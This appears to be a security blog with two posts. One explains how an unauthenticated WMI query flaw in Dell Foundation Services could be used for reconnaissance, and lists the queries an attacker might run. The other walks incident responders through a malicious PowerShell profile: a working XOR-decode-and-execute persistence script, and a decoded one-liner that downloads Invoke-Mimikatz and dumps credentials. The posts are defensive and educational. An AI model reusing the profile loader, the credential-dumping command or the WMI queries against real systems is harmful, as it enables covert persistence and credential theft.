Wednesday, December 2, 2015

Thoughts on Exploiting a Remote WMI Query Vulnerability

On December 1, 2015, a really interesting vulnerability was disclosed in the Dell Foundation Services software. If installed, a SOAP service will listen on port 7779 and grant an attacker the ability to execute unauthenticated WMI queries. I can’t say I’ve ever encountered such a vulnerability class so this posed an interesting thought exercise into how an attacker might effectively exploit such a vulnerability beyond just using the queries to conduct host recon. Specifically, this vulnerability only allows an attacker to query WMI object instances within the default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability.

I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be used to test the exploit locally assuming you have a Dell computer to test on. The vulnerable software can be obtained from Dell. Specifically, the vulnerable function is contained within Dell.Tribbles.Agent.Plugins.SystemInfo.dll.

So what kinds of things could an attacker do that would give them the greatest bang for their buck? For starters, let’s say you wanted to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface?

PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM Meta_Class'

What you will find is that there is a sea of WMI classes. We’ll need to find the diamonds in the rough. Here is an extremely non-comprehensive list of what I came up with in conjunction with Sean Metcalf and Carlos Perez:

File listing for a specific directory. e.g. C:\ or search by extension
SELECT * FROM CIM_DataFile WHERE Drive="C:" AND Path="\\"
SELECT * FROM CIM_DataFile WHERE Extension="xlsx"

Process listing (including command-line invocation which could possibly include credentials)
SELECT * FROM Win32_Process

List all services
SELECT * FROM Win32_Service

Account/group enumeration
SELECT * FROM Win32_Account
SELECT * FROM Win32_UserAccount
SELECT * FROM Win32_Group
SELECT * FROM Win32_LoggedOnUser

List startup programs present in the
 registry and Start Menu
SELECT * FROM Win32_StartupCommand

OS/Hardware info
SELECT * FROM Win32_BIOS
SELECT * FROM Win32_ComputerSystem # Uptime, logged-in user, etc.
SELECT * FROM Win32_OperatingSystem

Hard disk enumeration
SELECT * FROM Win32_DiskDrive
SELECT * FROM Win32_DiskPartition
SELECT * FROM Win32_LogicalDisk
SELECT * FROM Win32_Volume
SELECT * FROM Win32_MountPoint

List system environment variables
SELECT * FROM Win32_Environment

List network devices and configurations
SELECT * FROM Win32_NetworkAdapter
SELECT * FROM Win32_NetworkAdapterConfiguration # Shows assigned IPs

List mapped shares
SELECT * FROM Win32_Share

Obviously, there are a ton of classes that I may be missing that you may find to be useful but these were the ones that stood out to me. Now, beyond performing simple recon actions, what other WMI queries might be impactful, enable leaks of extremely sensitive information, enable further exploitation, or cause system instability? Here are some queries I came up with:

Ping sweep. This could be used to conduct basic internal scanning.
SELECT * FROM Win32_PingStatus WHERE Address="10.10.0.1"

SELECT * FROM Win32_Product

List installed patches. i.e. Determine which patches are not installed.
SELECT * FROM Win32_QuickFixEngineering

Dump event logs. e.g. dump System log. This is the most sensitive info leak I can think of.
SELECT * FROM Win32_NtLogEvent WHERE Logfile="System"


If you can think of any additional classes that would go above and beyond host recon, please let me know on Twitter!

Saturday, November 14, 2015

Investigating Subversive PowerShell Profiles

With PowerShell attacks on the rise, it is important that incident responders be aware of exactly how PowerShell code is executed on a victim system. Once such aspect of code execution is the PowerShell profile - a script that executes upon loading powershell.exe or powershell_ise.exe. This is a place where an attacker could possibly insert subversive code that executes every time PowerShell is started. Consider the following hypothetical scenario:

You're investigating an organization who was smart and has command-line auditing enabled on all hosts. They captured the following suspected malicious invocation of powershell.exe:

powershell.exe -WindowStyle Hidden -EncodedCommand GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA==

The PowerShell expert you are knows that base64 encoded commands provided via the –EncodedCommand parameter are Unicode encoded strings. You run the following PowerShell code to decode the command and to your surprise, find that the provided command decodes to an unintelligible string.

$EncodedCommand = 'GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA=='
$CommandBytes = [Convert]::FromBase64String($EncodedCommand)
$DecodedCommand = [Text.Encoding]::Unicode.GetString($CommandBytes)
# This will decode to an unintelligible string
$DecodedCommand

Well, time to wrap up this part of the investigation. This couldn't possibly execute. Clearly the attacker doesn’t know how to properly encode their malicious PowerShell command, right??? Or... could the attacker be hiding something we don’t know? Can PowerShell execute anything beyond what was provided at the command line? Absolutely – a profile script!

If PowerShell is not invoked with the –NoProfile switch, it will execute profile scripts in the following order:

1) AllUsersAllHosts
2) AllUsersCurrentHost
3) CurrentUserAllHosts
4) CurrentUserCurrentHost

Depending upon how PowerShell was started – normal invocation, WoW64, Integrated Scripting Environment (ISE), profile scripts can be loaded from any of the following locations:

AllUsersAllHosts
%windir%\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersAllHosts (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE)
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
AllUsersCurrentHost (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE - WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
CurrentUserAllHosts
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
CurrentUserCurrentHost (ISE)
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1

Now knowing this, you search the hard drive image for the existence of any of those files and find the following PowerShell code in %windir%\System32\WindowsPowerShell\v1.0\profile.ps1:

$CommandLine = (Get-WmiObject Win32_Process -Filter "ProcessID = $PID").CommandLine

$Base64PayloadRegex = '-(?i:enc).* (?<EncodedPayload>([A-Za-z0-9\+/])+={0,2})'

if ($CommandLine -match $Base64PayloadRegex) {
    $EncodedPayload = $Matches['EncodedPayload']

    $EncodedPayloadBytes = [Convert]::FromBase64String($EncodedPayload)

    $XorKey = 'PureEvil'
    $KeyBytes = [Text.Encoding]::ASCII.GetBytes($XorKey)

    $DecodedBytes = New-Object Byte[]($EncodedPayloadBytes.Length)

    for ($i = 0; $i -lt $EncodedPayloadBytes.Length; $i++) {
        $DecodedBytes[$i] = $EncodedPayloadBytes[$i] -bxor ($KeyBytes[($i % $KeyBytes.Length)])
    }

    $DecodedPayload = [Text.Encoding]::ASCII.GetString($DecodedBytes)

    Invoke-Expression -Command $DecodedPayload
}

Uh oh. It looks as if the attacker was relying upon an investigator overlooking the PowerShell profile. This code takes the base64 encoded argument, XOR decodes it, then executes it. Therefore, the encoded command provided at the command line indeed would have executed and it would have decoded to the following:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds | Out-File "$($Env:TEMP)\output.txt"

The moral of the story: when investigating PowerShell attacks, be sure to pull all profile scripts from an infected system.

Thanks to Oisin Grehen (@oising) for pointing me to where I could obtain the command line input of the currently running PowerShell process!

References:
1) Understanding the Six PowerShell Profiles
2) Windows PowerShell Profiles